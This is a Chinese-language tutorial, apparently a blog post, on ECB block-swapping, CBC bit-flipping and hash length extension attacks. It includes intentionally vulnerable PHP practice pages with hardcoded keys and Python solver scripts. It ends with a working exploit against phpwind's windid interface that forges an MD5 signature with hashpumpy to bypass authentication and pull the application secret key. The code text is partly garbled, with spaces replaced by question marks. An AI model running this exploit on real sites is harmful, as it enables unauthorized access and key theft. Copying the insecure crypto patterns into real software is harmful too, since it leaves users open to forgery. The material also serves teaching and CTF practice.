分組密碼每次只能處理加密固定長度的分組,但是我們加密的明文可能會超過分組密碼處理的長度。這時便需要對所有分組進(jìn)行迭代,而迭代的方式被稱為分組密碼的模式。常見的為針對ECB、CBC模式攻擊(L-ctf提到其中一種)。

寫在前面
所有腳本的導(dǎo)圖都是自己寫的、畫的,如果有不好的地方多多包涵,錯誤的地方也請指出,謝謝。
分組密碼的模式
分組密碼每次只能處理加密固定長度的分組,但是我們加密的明文可能會超過分組密碼處理的長度。
這時便需要對所有分組進(jìn)行迭代,而迭代的方式被稱為分組密碼的模式。常見的為針對ECB、CBC模式攻擊(L-ctf提到其中一種)。
ECB
ECB模式的全稱是Electronic CodeBook模式,將明文分組加密后直接成為密文分組,而密文則是由明文分組直接拼接而成,如圖所示:

Features:
ECB模式是所有模式中最簡單的一種。明文分組和密文分組是一一對應(yīng)的,如果明文分組有相同的那么最后的密文中也會有相同的密文分組。
因?yàn)槊總€分組都獨(dú)自進(jìn)行加密解密,所以無需破解密文就能操縱部分明文,或者改變明文,在不知道加密算法的情況下得到密文,從而達(dá)到攻擊效果,如圖所示(翻轉(zhuǎn)密文分組,那么明文分組也會被翻轉(zhuǎn))

Example:
某次CTF遇到的題目

思路:以administrator權(quán)限登陸就就能獲得Flag。判斷權(quán)限則是根據(jù)cookie里面的uid參數(shù),cookie包含username和uid兩個參數(shù),均為使用ECB加密的密文,然而username的密文是根據(jù)注冊時的明文生成的。
因此我們可以根據(jù)username的明文操縱生成我們想要的uid的密文。經(jīng)過fuzz發(fā)現(xiàn)明文分組塊為16個字節(jié),那么我們注冊17字節(jié)的用戶,多出的那一個字節(jié)就可以是我們我們希望的UID的值,而此時我們查看username的密文增加部分就是UID的密文,即可偽造UID。
注冊aaaaaaaaaaaaaaaa1獲得1的密文分組,注冊aaaaaaaaaaaaaaaa2獲得2的密文分組,以此類推
源碼沒找到,好像弄丟了,自己寫了個差不多的,有興趣可以練習(xí)

ebc.php:
function?AES($data){
$privateKey="12345678123456781234567812345678";
$encrypted=mcrypt_encrypt(MCRYPT_RIJNDAEL_128,?$privateKey,?$data,?MCRYPT_MODE_ECB);
$encryptedData=?(base64_encode($encrypted));
return?$encryptedData;
}
function?DE__AES($data){
$privateKey="12345678123456781234567812345678";
$encryptedData=base64_decode($data);
$decrypted=mcrypt_decrypt(MCRYPT_RIJNDAEL_128,?$privateKey,?$encryptedData,?MCRYPT_MODE_ECB);
$decrypted=rtrim($decrypted,?"\0")?;
return?$decrypted;
}
if?(@$_GET['a']=='reg'){
setcookie('uid',?AES('9'));
setcookie('username',?AES($_POST['username']));
header("Location:?http://127.0.0.1/ecb.php");
exit();
}
if?(@!isset($_COOKIE['uid'])||@!isset($_COOKIE['username'])){
echo?'
Username:
Password:
';
}
else{
$uid=DE__AES($_COOKIE['uid']);
if?(?$uid?!=?'4'){
echo?'uid:'?.$uid?.'
';
echo?'Hi?'?.?DE__AES($_COOKIE['username'])?.'
';
echo?'You?are?not?administrotor!!';
}
else?{
echo?"Hi?you?are?administrotor!!"?.'
';
echo?'Flag?is?360?become?better';
}
}
?>
ecb.py:
#coding=utf-8
import?urllib
import?urllib2
import?base64
import?cookielib
import?Cookie
for?num?in?range(1,50):
reg_url='http://127.0.0.1/ecb.php?a=reg'
index_url='http://127.0.0.1/ecb.php'
cookie=cookielib.CookieJar()
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
opener.addheaders.append(('User-Agent','Mozilla/5.0'))
num=str(num)
values={'username':'aaaaaaaaaaaaaaaa'+num,'password':'123'}
data=urllib.urlencode(values)
opener.open(reg_url,data)
text=opener.open(index_url,data)
for?ck?in?cookie:
ifck.name=='username':
user_name=ck.value
user_name=urllib.unquote(user_name)
user_name=base64.b64decode(user_name)
hex_name=user_name.encode('hex')
hex_namehex_name=?hex_name[len(hex_name)/2:]
hex_namehex_name=?hex_name.decode('hex')
uid=base64.b64encode(hex_name)
uid=urllib.quote(uid)
for?ck?in?cookie:
ifck.name=='uid':
ck.value=uid
text=opener.open(index_url).read()
if?'Flag'?in?text:
print?text
break
else:
print?num
CBC
CBC模式的全稱是Cipher Block Chaining模式,在此模式中,先將明文分組與前一個密文分組(或?yàn)槌跏蓟蛄縄V)進(jìn)行XOR運(yùn)算,然后再進(jìn)行加密。
解密則為密文分組先進(jìn)行解密,然后再進(jìn)行xor運(yùn)算得到明文分組,解密過程如圖所示(加密則相反)

Features:
因?yàn)镃BC模式是將前一個密文分組和明文分組進(jìn)行混合加密所以,是可以避免ECB模式的弱點(diǎn)。
但正因?yàn)槿绱?,?dǎo)致了解密時修改前一個密文分組就可以操縱后一個的解密后的明文分組,可以將前一個密文中的任意比特進(jìn)行修改(0,1進(jìn)行互換,也可以叫翻轉(zhuǎn))
因此CBC模式有兩個攻擊點(diǎn):①vi向量,影響第一個明文分組 ②第n個密文分組,影響第n+1個明文分組
Example:
在比賽中遇到過很多次,基本上屬于對一個密文分組進(jìn)行翻轉(zhuǎn)之后能夠提升權(quán)限或者繞過驗(yàn)證的作用,自己寫了一個差不多的,攻擊密文的,大家可以看看

大概就是這樣,要獲得FLAG需要讓ID=0,而我們是可以從URL中知道密文的
http://127.0.0.1/cbc2.php?a=89b52bac0331cb0b393c1ac828b4ee0f07861f030a8a3dc4b6e786f473b52182000a0d4ce2145994573a92d257a514d1
我們現(xiàn)在要對密文進(jìn)行翻轉(zhuǎn)攻擊,但是并不清楚哪部分對應(yīng)的是ID的上一個密文,可以直接腳本進(jìn)行FUZZ,也可是使用burp(intruder)進(jìn)行測試(選擇攻擊的密文)

選擇攻擊模式

攻擊結(jié)果

burp的翻轉(zhuǎn)并不是遍歷所有翻轉(zhuǎn)的可能每一位變動一次,比如101101的第一次為101100,那么的二次就是101110,第三次是101000,依次類推。
所以burp可能無法完全翻轉(zhuǎn)出需要的payload,但是可以幫我確定需要翻轉(zhuǎn)的位置,我們經(jīng)過簡單的計(jì)算就能得到自己需要的值

比如這里進(jìn)過對比,我們輕松的找到了需要翻轉(zhuǎn)的位置,但是卻沒有得到為0的翻轉(zhuǎn),數(shù)學(xué)不及格的我來算算。xor運(yùn)算的特點(diǎn):a xor b =c abc三個數(shù)任意兩個運(yùn)算可得到第三個,所以
0b的10進(jìn)制是11
11xor5=14
14xor0=14
14的十進(jìn)制為0e

FUZZ反轉(zhuǎn)成功。
最后在提醒下:AES128位一組,換成16進(jìn)制其實(shí)我們反轉(zhuǎn)的的是第一組。但影響的卻是第二組

我們這個演示的是攻擊密文的,攻擊iv的,基本相似,有興趣的可以去看看OWASP里面的,那個是攻擊iv的
cbc.php:
$cipherText=?$_GET['a'];//89b52bac0331cb0b393c1ac828b4ee0f07861f030a8a3dc4b6e786f473b52182000a0d4ce2145994573a92d257a514d1
$padkey=hex2bin('66616974683434343407070707070707');
$iv=hex2bin('f4ebb2df9c29efd7625561a15096cd24');
$td=mcrypt_module_open(MCRYPT_RIJNDAEL_128,?'',?MCRYPT_MODE_CBC,?'');
if?(mcrypt_generic_init($td,?$padkey,?$iv)?!=?-1)
{
$p_t=mdecrypt_generic($td,?hex2bin($cipherText));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
$p_t=trimEnd($p_t);
$tmp=explode(':',$p_t);
if?($tmp[2]=='0'){
print?@'id:'.@$tmp[2].'
';
echo?'Flag?is?T00ls?become?better';
}
else{
echo?'Your?are?noob!fuck?noob!!';
echo?@'
id:'.@$tmp[2].'
';
echo?@'name:'.@$tmp[0].'
';
echo?@'email:'.@$tmp[1].'
';
}
}
function?pad2Length($text,?$padlen){
$len=strlen($text)%$padlen;
$res=?$text;
$span=?$padlen-$len;
for($i=0;?$i<$span;?$i++){
$res.=chr($span);
}
return?$res;
}
function?trimEnd($text){
$len=strlen($text);
$c=?$text[$len-1];
if(ord($c)<$len){
for($i=$len-ord($c);?$i<$len;?$i++){
if($text[$i]?!=?$c){
return?$text;
}
}
return?substr($text,?0,?$len-ord($c));
}
return?$text;
}
Hash-Length-Extension-Attack
許多算法都使用的Merkle–Damg?rd construction,比如MD5,和SHA-1等,因此這些算法都受到Length-Extension-Attack。
要說清這個攻擊原理,我們還是簡單說說SHA-1
Features:
SHA-1處理消息前會先對消息進(jìn)行填充,使整個消息成為512比特的整數(shù)倍,每個分組均為512比特
①填充(Padding),方式為將多余的消息后面加一位,且為1,然后后面全部使用0填充使整個分組變?yōu)?48比特,而最后的64比特會記錄原始消息的長度,填充后每個分組均為512比特。
②然后就是復(fù)雜的數(shù)學(xué)計(jì)算~_~我也看的不是特別懂,但是并不影響我們理解。簡單說說就行,首先會定義5個32比特的值(緩沖區(qū)初始值,是不是加起來剛好160比特~~,可以理解為iv),
然后大概就是每個分組會經(jīng)過了80步的處理,然后會輸出新的5個32比特的值,這個時候我們可以理解原始消息已經(jīng)充分混入這160比特里面,再用這5個數(shù)作為初始值去去處理下一個分組,依次類推,最后得到的hash其實(shí)就是這5個數(shù),可以看看我畫的便于理解的草圖:

Example:
Hash-Length-Extension-Attack ,可以在知道MD5(message)的hash值得情況下,算出MD5(message+padding+a)的hash值,就是根據(jù)短的消息的hash算出更長的消息的hash。
為什么呢,其實(shí)看了上面的圖就會覺得很簡單了。我們把hash反排序一下不久又得到5個新的32個比特值嗎(此處是可以逆向MD5的算法的),我們可以用這5個數(shù)繼續(xù)消息混合,而我們之前padding的數(shù)據(jù)就會成為整個消息的一部分說以能夠算出MD5(message+padding+a),a就是我們要繼續(xù)混合的消息。
這類漏洞一般出現(xiàn)在CTF中比較多,類型都是費(fèi)否等于MAC == hash(message+test) message未知或者只知曉一部分,不過都不重要,重要是的message的長度,因?yàn)闀绊懙酵卣购蟮南?,不知道的話就需要爆破,然后test位置可控,這樣才能拓展,MAC一般也是可控,校驗(yàn)通過就能下一步哈哈,或者拿flag。
之前我們都是看的CTF(L-ctf也有一部分,拓展后可以下載壓縮包),我們就來看看phpwind的MD5 padding 漏洞
其實(shí)是windidserver接口驗(yàn)證缺陷,用擴(kuò)展攻擊繞過驗(yàn)證就可以執(zhí)行接口中的其他控制器中的其他方法~~
這個函數(shù)會在執(zhí)行控制其方法之前執(zhí)行,進(jìn)行驗(yàn)證,然而我們發(fā)現(xiàn)$_windidkey可以自己輸入,只要是appkey的結(jié)果相等就能通過驗(yàn)證
public??function?beforeAction($handlerAdapter)?{
parent::beforeAction($handlerAdapter);
$charset='utf-8';
$_windidkey=?$this->getInput('windidkey',?'get');
$_time=?(int)$this->getInput('time',?'get');
$_clientid=?(int)$this->getInput('clientid',?'get');
if?(!$_time?||?!$_clientid)?$this->output(WindidError::FAIL);
$clent=?$this->_getAppDs()->getApp($_clientid);
if?(!$clent)?$this->output(WindidError::FAIL);
if?(WindidUtility::appKey($clent['id'],?$_time,?$clent['secretkey'],?$this->getRequest()->getGet(null),?$this->getRequest()->getPost())?!=?$_windidkey)??$this->output(WindidError::FAIL);
$time=Pw::getTime();
if?($time?-?$_time>1200)?$this->output(WindidError::TIMEOUT);
$this->appid=?$_clientid;
}
既然都已經(jīng)說了是這類型的漏洞,那我們肯定就要找能找到的hash
showFlash這里滿足要求(打印出了hash 822382cb79f915c779943a1dc131f00c)
public?function?showFlash($uid,?$appId,?$appKey,?$getHtml=1)?{
$time=Pw::getTime();
$key=WindidUtility::appKey($appId,?$time,?$appKey,?array('uid'=>$uid,?'type'=>'flash',?'m'=>'api',?'a'=>'doAvatar',?'c'=>'avatar'),?array('uid'=>'undefined'));
$key2=WindidUtility::appKey($appId,?$time,?$appKey,?array('uid'=>$uid,?'type'=>'normal',?'m'=>'api',?'a'=>'doAvatar',?'c'=>'avatar'),?array());
我們再跟蹤appkey
public?static?function?appKey($apiId,?$time,?$secretkey,?$get,?$post)?{
//?注意這里需要加上__data,因?yàn)橄旅娴腷uildRequest()里加了。
$arrayarray=?array('windidkey',?'clientid',?'time',?'_json',?'jcallback',?'csrf_token',
'Filename',?'Upload',?'token',?'__data');
$str='';
ksort($get);
ksort($post);
foreach?($get?AS?$k=>$v)?{
if?(in_array($k,?$array))?continue;
$str.=$k.$v;
}
foreach?($post?AS?$k=>$v)?{
if?(in_array($k,?$array))?continue;
$str.=$k.$v;
}
return?md5(md5($apiId.'||'.$secretkey).$time.$str);
}
經(jīng)過各種排序,我們可以得出這個hash的值和消息的結(jié)構(gòu)
822382cb79f915c779943a1dc131f00c = md5(md5().$time.$str)
822382cb79f915c779943a1dc131f00c= md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined
里面的md5值不知道,但是是32位,$time.$str都是可控,那么我們就可以拓展這個消息,得到新的hash,而調(diào)用這個函數(shù)進(jìn)行驗(yàn)證的得地方自然也就繞過了驗(yàn)證 $_windidkey我們只要傳入拓展后的hash即可繞過。因?yàn)槲覀兺卣箷r必須保持md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined的結(jié)構(gòu),然而排序的時候回因?yàn)閭魅氲腶(action)參數(shù)導(dǎo)致打亂循序,無法擴(kuò)展,但是因?yàn)閜hpwind的路由支持post,所以post一下控制器(c),模塊(m),動作(a)這三個參數(shù)
$_windidkey(我們拓展的hash)== md5 +1475841959 + adoAvatarcavatarmapitypeflashuid2uidundefined +padding +alistcappmapi(post排序的)正好繞過驗(yàn)證
填寫一下cookie和url就可以獲得secretkey(調(diào)用的list方法,要實(shí)現(xiàn)其他action自行修改,getshell就暫不討論,這不是我們這里的重點(diǎn)
#coding=utf-8
import?urllib
import?urllib2
import?time
import?cookielib
import?gzip
import?StringIO
from?bs4?import?BeautifulSoup
import?re
import?hashpumpy
import?sys
reload(sys)
sys.setdefaultencoding('utf-8')
def?get_key(url):
urlurl=?url?+?'/?m=profile&c=avatar&_left=avatar'
response=opener.open(url)
html=response.read()
if?response.info().get('Content-Encoding')?==?'gzip':
stream=StringIO.StringIO(html)
with?gzip.GzipFile(fileobj=stream)?as?f:
html=f.read()
soup=BeautifulSoup(html,?'lxml')
key_url=soup.find('param',attrs={'name':'FlashVars'}).get('value')
key_url=urllib.unquote(key_url)
rule='uid=(.+?)&windidkey=(.+?)&time=(.+?)&clientid=(.+?)&type'
Pattern=re.compile(rule,?re.S)
rs=re.findall(Pattern,?key_url)
return?rs[0]
def?padding_exten(windidkey,time,uid):
hexdigest=windidkey
original_data=time+'adoAvatarcavatarmapitypeflashuid'+uid+'uidundefined'
data_to_add='alistcappmapi'
key_length=32
result=list()
rs=hashpumpy.hashpump(hexdigest,original_data,data_to_add,key_length)
result.append(rs[0])
tmp=str(rs)
tmptmp=?tmp.split(',')[1]
tmptmp=?tmp.split("\'")[1]
tmptmp=?tmp.replace('\\x','%')
rule='undefined(.+?)alist'
Pattern=re.compile(rule,?re.S)
tmp=re.findall(Pattern,?tmp)
result.append(tmp[0])
return?result
if__name__==?'__main__':
url='http://192.168.0.100/phpwind'
cookie='CNZZDATA1257835621=169451052-1472798292-null%7C1472798292;?PHPSESSID=5adaadb063b4208acd574d3d044dda38;?ECS[visit_times]=5;?csrf_token=ab686222777d7f80;?xzr_winduser=PbUcCS1OT1ZjCzY8GoJOV8EOvix9OdGpc%2BmWBPYV6ar07B7AZSOhSw%3D%3D;?xzr_lastvisit=7%091475751418%09%2Fphpwind%2F%3Fm%3Dprofile%26c%3Davatar%26_left%3Davatar;?xzr_visitor=cx59FPbNJ4FYG2e9cWKpUP%2FTZTef7Yu4DTFLTftwwZ%2FPEVo8'
cj=cookielib.CookieJar()
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders.append(
('User-Agent',?'Mozilla/5.0?(Windows?NT?6.1;?Win64;?x64;?rv:47.0)?Gecko/20100101?Firefox/47.0'))
opener.addheaders.append(('Accept',?'*/*'))
opener.addheaders.append(('Accept-Language',?'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'))
opener.addheaders.append(('Accept-Encoding',?'gzip,?deflate'))
opener.addheaders.append(('Connection',?'keep-alive'))
opener.addheaders.append(('Cookie',?cookie))
opener.addheaders.append(('Cache-Control',?'max-age=0'))
uid,?windidkey,?time,clientid=get_key(url)
windidkey,padding=padding_exten(windidkey,time,uid)
payload='/windid/index.php?time='+time+'&windidkey='+windidkey+'&clientid='+clientid+'&adoAvatarcavatarmapitypeflashuid'+uid+'uidundefined='+padding
urlurl=?url?+?payload
data=?{'m':'api','c':'app','a':'list'}
data=urllib.urlencode(data)
response=opener.open(url,data)
html=response.read()
if?response.info().get('Content-Encoding')?==?'gzip':
stream=StringIO.StringIO(html)
with?gzip.GzipFile(fileobj=stream)?as?f:
html=f.read()
print?html